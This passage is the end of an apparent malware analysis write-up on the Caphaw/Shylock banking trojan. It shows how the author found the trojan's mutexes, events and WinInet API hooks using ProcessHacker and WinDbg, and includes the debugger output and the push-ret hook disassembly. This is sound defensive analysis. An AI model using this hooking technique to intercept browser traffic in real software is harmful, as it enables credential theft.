As previously seen, this trojan makes use of Mutexes and spawns a lot of Events, by inspecting explorer.exe via ProcessHacker:

mutexThe first highlighted mutex uses the already seen MD5 Hash (please note that this named mutex matches with the configuration decryption key). A single hash based mutex name means nothing, but associated with the second entry, it provides a valid indication.

events

Such event names clearly help to raise the level of suspicion.

Hooks:

We can use WinDbg to discover installed hooks and in a very easy way. Caphaw injects code into Internet Explorer process, this implies that in the address space of this process we will find traces of infection. Hooking means that the original API code needs to be modified in order to alter the normal execution flow. In other words a hooked function looks different from a “clean” one, enumerating all modules and looking for differences between the symbol and the actual function should do the job:


> !for_each_module !chkimg @#ModuleName -d

DBGHELP: c:\debugger_x86\sym\WININET.dll\411096D4a6000\WININET.dll – OK
771c4ac5-771c4acc 8 bytes – WININET!HttpOpenRequestA
[ 8b ff 55 8b ec 83 ec 5c:68 f9 92 15 00 c3 90 90 ]
771c61dc-771c61e1 6 bytes – WININET!InternetCloseHandle (+0x1717)
[ 8b ff 55 8b ec 51:68 8f 83 15 00 c3 ]
771c76b8-771c76be 7 bytes – WININET!HttpSendRequestA (+0x14dc)
[ 8b ff 55 8b ec 6a 13:68 52 aa 15 00 c3 90 ]
771c9555-771c955c 8 bytes – WININET!InternetReadFile (+0x1e9d)
[ 8b ff 55 8b ec 83 ec 24:68 42 a7 15 00 c3 90 90 ]
771d325f-771d3266 8 bytes – WININET!InternetQueryDataAvailable (+0x9d0a)
[ 8b ff 55 8b ec 83 ec 10:68 c6 7e 15 00 c3 90 90 ]
771d3c45-771d3c4b 7 bytes – WININET!InternetSetStatusCallbackA (+0x9e6)
[ 8b ff 55 8b ec 6a 00:68 f4 7d 15 00 c3 90 ]
771d53eb-771d53f2 8 bytes – WININET!HttpSendRequestExW (+0x17a6)
[ 8b ff 55 8b ec 83 ec 14:68 a1 a7 15 00 c3 90 90 ]
771d6345-771d634c 8 bytes – WININET!HttpOpenRequestW (+0xf5a)
[ 8b ff 55 8b ec 83 ec 48:68 e8 90 15 00 c3 90 90 ]
771f7e9a-771f7ea1 8 bytes – WININET!InternetReadFileExA (+0x21b55)
[ 8b ff 55 8b ec 83 ec 20:68 e3 a6 15 00 c3 90 90 ]
771f88d6-771f88d8 3 bytes – WININET!InternetWriteFileExW (+0xa3c)
[ 6a 78 ff:68 c1 7d ]
771f88da-771f88dd 4 bytes – WININET!InternetReadFileExW+4 (+0x04)
[ 34 14 1b 77:00 c3 90 90 ]
77211808-7721180f 8 bytes – WININET!HttpSendRequestW (+0x18f2e)
[ 8b ff 55 8b ec 83 ec 14:68 97 a9 15 00 c3 90 90 ]
7721190d-77211912 6 bytes – WININET!HttpSendRequestExA (+0x105)
[ 8b ff 55 8b ec 53:68 9c a8 15 00 c3 ]
89 errors : WININET (771c4ac5-77211912)

Functions of Wininet module have some inconsistencies, let’s consider for example HttpOpenRequestA, its actual code differs from the one stored in symbols. Let’s inspect the code of HttpOpenRequestA:

0:031> u 771c4ac5
WININET!HttpOpenRequestA:
771c4ac5 68f9921500      push    1592F9h	
771c4aca c3              ret 				; ret used as jump to 1592F9
771c4acb 90              nop
771c4acc 90              nop
771c4acd a1189a2377      mov     eax,dword ptr [WININET!__security_cookie (77239a18)]
771c4ad2 8945fc          mov     dword ptr [ebp-4],eax
771c4ad5 8b4510          mov     eax,dword ptr [ebp+10h]
771c4ad8 8945c0          mov     dword ptr [ebp-40h],eax

The first two instructions clearly show the presence of a hook with the already seen push-ret method.

Conclusion

We are at the end of our journey into Caphaw/Shylock and hope you enjoyed it. A big thanks goes to Quequero (@quequero) for proof reading/editing and for the creation of the featured images :).